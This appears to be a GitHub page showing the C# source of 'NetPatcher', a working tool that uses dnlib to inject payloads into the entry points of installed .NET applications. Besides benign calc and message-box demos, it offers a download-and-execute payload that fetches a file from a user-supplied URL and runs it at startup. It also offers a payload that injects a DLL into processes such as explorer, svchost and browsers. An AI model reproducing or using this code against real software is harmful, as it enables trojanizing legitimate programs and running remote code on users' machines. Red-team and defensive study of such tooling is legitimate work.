Repository navigation
Expand file tree
/
Copy pathProgram.cs
More file actions
395 lines (353 loc) · 17.7 KB
/
Copy pathProgram.cs
File metadata and controls
395 lines (353 loc) · 17.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
/* Author : Gregory King
* Date : 07/16/25
* Description : This program is a .NET patcher that allows users to modify .NET applications to execute specific actions. The program will find compatible binaries in the Program Files, Program Files (x86) or user profile directories, and then applies the specified patch based on user input. The patched executable will be copied to the current directory with a new name. This version uses dnlib for binary manipulation. The patched program will execute the injected payload immediately when started. After the payload, the original program logic resumes, unless the payload itself interrupts or terminates execution (for example, if the payload throws an exception or calls Environment.Exit).
*
* Patching options:
* 1) popcalc
* 2) MessageBox
* 3) Download + exec
* 4) Inject DLL to thread using CreateRemoteThread, selects process to inject from list of processes.
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Text.RegularExpressions;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.Linq;
namespace NetPatcher
{
internal class Program
{
internal static IMethod ImportMethod(ModuleDef module, MethodBase method)
{
// Import through the target module so dnlib emits references compatible
// with the runtime and assembly family used by the file being patched.
return CreateImporter(module).Import(method);
}
internal static ITypeDefOrRef ImportType(ModuleDef module, Type type)
{
return CreateImporter(module).Import(type);
}
private static Importer CreateImporter(ModuleDef module)
{
return new Importer(
module,
ImporterOptions.TryToUseExistingAssemblyRefs,
new GenericParamContext(),
new TargetImportMapper(module));
}
private sealed class TargetImportMapper : ImportMapper
{
private readonly ModuleDef module;
private readonly bool framework;
private readonly Version runtimeVersion;
public TargetImportMapper(ModuleDef module)
{
this.module = module;
framework = module.CorLibTypes.AssemblyRef.Name == "mscorlib";
// Modern .NET reference assemblies are versioned by the target
// runtime; framework assemblies use the .NET Framework identities.
runtimeVersion = GetRuntimeVersion(module);
}
public override ITypeDefOrRef Map(Type source)
{
string assemblyName;
if (source == typeof(System.Diagnostics.Process) ||
source == typeof(System.Net.WebClient))
assemblyName = framework ? "System" : source.Assembly.GetName().Name;
else if (source.Namespace == "System.Windows.Forms")
assemblyName = "System.Windows.Forms";
else
return null;
var assemblyRef = module.GetAssemblyRef(assemblyName) ??
new AssemblyRefUser(
new AssemblyName(
assemblyName + ", Version=" + GetAssemblyVersion() +
", Culture=neutral, PublicKeyToken=" + GetPublicKeyToken(assemblyName)));
return new TypeRefUser(module, source.Namespace, source.Name, assemblyRef);
}
private string GetAssemblyVersion()
{
return framework ? "4.0.0.0" :
(runtimeVersion == null ? "8.0.0.0" :
runtimeVersion.Major + ".0.0.0");
}
private static string GetPublicKeyToken(string assemblyName)
{
return assemblyName == "System" || assemblyName == "System.Windows.Forms"
? "b77a5c561934e089"
: "b03f5f7f11d50a3a";
}
private static Version GetRuntimeVersion(ModuleDef module)
{
// The runtimeconfig belongs beside the managed DLL, including when
// the input was selected through a native apphost executable.
var runtimeConfig = Path.ChangeExtension(module.Location, ".runtimeconfig.json");
if (!File.Exists(runtimeConfig))
return null;
var content = File.ReadAllText(runtimeConfig);
var match = Regex.Match(
content,
"\"name\"\\s*:\\s*\"Microsoft\\.(?:NETCore|WindowsDesktop)\\.App\".*?\"version\"\\s*:\\s*\"(?<version>\\d+\\.\\d+)",
RegexOptions.Singleline);
Version version;
return match.Success && Version.TryParse(match.Groups["version"].Value, out version)
? version
: null;
}
}
static void Main(string[] args)
{
Console.WriteLine("Welcome to NetPatcher!");
string path = null;
string appHostPath = null;
if (args.Length == 2 && string.Equals(args[0], "--target", StringComparison.OrdinalIgnoreCase))
{
// --target makes patching deterministic and avoids the potentially
// expensive filesystem scan used by the interactive mode.
path = Path.GetFullPath(args[1]);
if (!File.Exists(path))
{
Console.WriteLine($"Target assembly not found: {path}");
return;
}
if (string.Equals(Path.GetExtension(path), ".exe", StringComparison.OrdinalIgnoreCase))
{
try
{
// A managed EXE can be loaded directly. Failure indicates
// that this may be a native apphost with a companion DLL.
using (var candidate = ModuleDefMD.Load(path))
{
}
}
catch
{
var companion = Path.ChangeExtension(path, ".dll");
if (File.Exists(companion))
{
appHostPath = path;
path = companion;
}
}
}
}
if (path == null)
{
// Interactive discovery is intentionally limited to common install
// roots and caps the candidate list to keep selection manageable.
Console.WriteLine("Searching for .NET assemblies that are patchable... Please wait.");
var userProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
var searchDirs = new[] { @"C:\Program Files (x86)", @"C:\Program Files", userProfile };
var assemblies = new List<string>();
foreach (var dir in searchDirs)
{
try
{
foreach (var file in Directory.EnumerateFiles(dir, "*.*", SearchOption.AllDirectories))
{
var ext = Path.GetExtension(file).ToLowerInvariant();
if (ext != ".exe" && ext != ".dll") continue;
try
{
/* check if it's a .net assembly */
using (var module = ModuleDefMD.Load(file))
{
if (module.EntryPoint != null)
{
File.AppendAllText("compatiblebins.txt", file + "\n");
assemblies.Add(file);
if (assemblies.Count >= 150)
{
assemblies.OrderBy(x => Guid.NewGuid());
break;
}
}
}
}
catch { }
}
}
catch { }
if (assemblies.Count >= 150)
{
break;
}
}
assemblies = assemblies.Where(x => !x.Contains("SDK") && !x.Contains("Visual") && !x.Contains("System")).ToList();
assemblies = assemblies.OrderBy(x => Guid.NewGuid()).Take(50).ToList(); // Shuffle the list randomly
if (assemblies.Count == 0)
{
Console.WriteLine("No .NET assemblies found.");
return;
}
Console.WriteLine("Select a .NET assembly to patch:");
for (int i = 0; i < assemblies.Count; i++)
Console.WriteLine($"{i + 1}: {assemblies[i]}");
Console.Write("Choice: ");
if (!int.TryParse(Console.ReadLine(), out int fileChoice) || fileChoice < 1 || fileChoice > assemblies.Count)
{
Console.WriteLine("Invalid choice.");
return;
}
path = assemblies[fileChoice - 1];
}
Console.WriteLine("Select payload to inject:");
Console.WriteLine("1. Execute calc.exe");
Console.WriteLine("2. Show message box");
Console.WriteLine("3. Download and execute file");
Console.WriteLine("4. Inject DLL into another process (explorer, svchost, firefox, msedge, chrome)");
Console.Write("Choice: ");
var payloadChoice = Console.ReadLine();
try
{
var module = ModuleDefMD.Load(path);
var entry = module.EntryPoint;
if (entry == null)
{
Console.WriteLine("No entry point found.");
return;
}
var instrs = entry.Body.Instructions;
switch (payloadChoice)
{
case "1": /* pop calc */
// Insert at offset zero so the payload runs before the
// original entry-point instructions.
var processStart = ImportMethod(module, typeof(System.Diagnostics.Process).GetMethod("Start", new[] { typeof(string) }));
instrs.Insert(0, OpCodes.Ldstr.ToInstruction("calc.exe"));
instrs.Insert(1, OpCodes.Call.ToInstruction(processStart));
instrs.Insert(2, OpCodes.Pop.ToInstruction());
break;
case "2":
/* show message box */
var showMsgBox = ImportMethod(module, typeof(System.Windows.Forms.MessageBox).GetMethod("Show", new[] { typeof(string) }));
instrs.Insert(0, OpCodes.Ldstr.ToInstruction("patched by NetPatcher"));
instrs.Insert(1, OpCodes.Call.ToInstruction(showMsgBox));
instrs.Insert(2, OpCodes.Pop.ToInstruction());
break;
case "3":
/* download and execute file */
Console.Write("Enter URL to download: ");
string url = Console.ReadLine();
Console.Write("Enter filename to save as (e.g. C:\\Windows\\Temp\\payload.exe): ");
string filename = Console.ReadLine();
var webClientCtor = ImportMethod(module, typeof(System.Net.WebClient).GetConstructor(Type.EmptyTypes));
var downloadFile = ImportMethod(module, typeof(System.Net.WebClient).GetMethod("DownloadFile", new[] { typeof(string), typeof(string) }));
var processStart2 = ImportMethod(module, typeof(System.Diagnostics.Process).GetMethod("Start", new[] { typeof(string) }));
instrs.Insert(0, OpCodes.Newobj.ToInstruction(webClientCtor));
instrs.Insert(1, OpCodes.Dup.ToInstruction());
instrs.Insert(2, OpCodes.Ldstr.ToInstruction(url));
instrs.Insert(3, OpCodes.Ldstr.ToInstruction(filename));
instrs.Insert(4, OpCodes.Callvirt.ToInstruction(downloadFile));
instrs.Insert(5, OpCodes.Pop.ToInstruction());
instrs.Insert(6, OpCodes.Ldstr.ToInstruction(filename));
instrs.Insert(7, OpCodes.Call.ToInstruction(processStart2));
instrs.Insert(8, OpCodes.Pop.ToInstruction());
break;
case "4":
Console.Write("Enter full path of DLL to inject: ");
string dllPath = Console.ReadLine();
var patcher = new DllInjectionPatcher(module, dllPath);
patcher.Inject(); /* sets up injection method */
instrs.Insert(0, OpCodes.Call.ToInstruction(patcher.EntryPointMethod)); /* inserts call at entry point */
break;
default:
Console.WriteLine("Invalid payload choice.");
return;
}
string patchedPath = Path.Combine(
Directory.GetCurrentDirectory(),
Path.GetFileNameWithoutExtension(path) + "_patched" + Path.GetExtension(path));
module.Write(patchedPath);
Console.WriteLine($"Patched .NET assembly saved as: {patchedPath}");
if (appHostPath != null)
{
// The managed DLL is patched first; the native launcher and its
// sidecars are then copied under the corresponding patched name.
var appHostName = Path.GetFileNameWithoutExtension(appHostPath);
var patchedAppHost = Path.Combine(
Directory.GetCurrentDirectory(),
appHostName + "_patched" + Path.GetExtension(appHostPath));
File.Copy(appHostPath, patchedAppHost, true);
CopySidecar(appHostPath, patchedAppHost, ".runtimeconfig.json");
CopySidecar(appHostPath, patchedAppHost, ".deps.json");
File.Copy(
patchedPath,
Path.Combine(Directory.GetCurrentDirectory(), appHostName + ".dll"),
true);
CopySidecarToBaseName(appHostPath, appHostName);
if (IsSelfContainedAppHost(appHostPath))
CopySelfContainedFiles(appHostPath);
Console.WriteLine($"Patched apphost saved as: {patchedAppHost}");
}
}
catch (Exception ex)
{
Console.WriteLine($"Error patching .NET assembly: {ex.Message}");
Environment.ExitCode = 1;
}
}
private static void CopySidecar(string sourceAppHost, string targetAppHost, string extension)
{
// Framework-dependent apphosts locate these files by the launcher's
// basename, so each sidecar must be renamed with the patched apphost.
var source = Path.Combine(
Path.GetDirectoryName(sourceAppHost),
Path.GetFileNameWithoutExtension(sourceAppHost) + extension);
if (!File.Exists(source))
return;
var target = Path.Combine(
Path.GetDirectoryName(targetAppHost),
Path.GetFileNameWithoutExtension(targetAppHost) + extension);
File.Copy(source, target, true);
}
private static void CopySidecarToBaseName(string sourceAppHost, string baseName)
{
// The patched managed DLL keeps the original assembly name. Preserve
// sidecars under that name as well as under the new apphost name.
foreach (var extension in new[] { ".runtimeconfig.json", ".deps.json" })
{
var source = Path.Combine(
Path.GetDirectoryName(sourceAppHost),
Path.GetFileNameWithoutExtension(sourceAppHost) + extension);
if (!File.Exists(source))
continue;
File.Copy(
source,
Path.Combine(Directory.GetCurrentDirectory(), baseName + extension),
true);
}
}
private static bool IsSelfContainedAppHost(string appHostPath)
{
// Self-contained runtimeconfig files declare includedFrameworks and
// require the native runtime files to be copied with the apphost.
var runtimeConfig = Path.Combine(
Path.GetDirectoryName(appHostPath),
Path.GetFileNameWithoutExtension(appHostPath) + ".runtimeconfig.json");
return File.Exists(runtimeConfig) &&
File.ReadAllText(runtimeConfig).IndexOf("\"includedFrameworks\"", StringComparison.OrdinalIgnoreCase) >= 0;
}
private static void CopySelfContainedFiles(string appHostPath)
{
// Copy the complete runtime layout, including nested native runtime
// directories, so the renamed launcher remains independently runnable.
var sourceDirectory = Path.GetDirectoryName(appHostPath);
foreach (var source in Directory.EnumerateFiles(sourceDirectory, "*", SearchOption.AllDirectories))
{
if (string.Equals(source, appHostPath, StringComparison.OrdinalIgnoreCase))
continue;
var relative = source.Substring(sourceDirectory.Length)
.TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
var target = Path.Combine(Directory.GetCurrentDirectory(), relative);
var targetDirectory = Path.GetDirectoryName(target);
if (!Directory.Exists(targetDirectory))
Directory.CreateDirectory(targetDirectory);
File.Copy(source, target, true);
}
}
}
}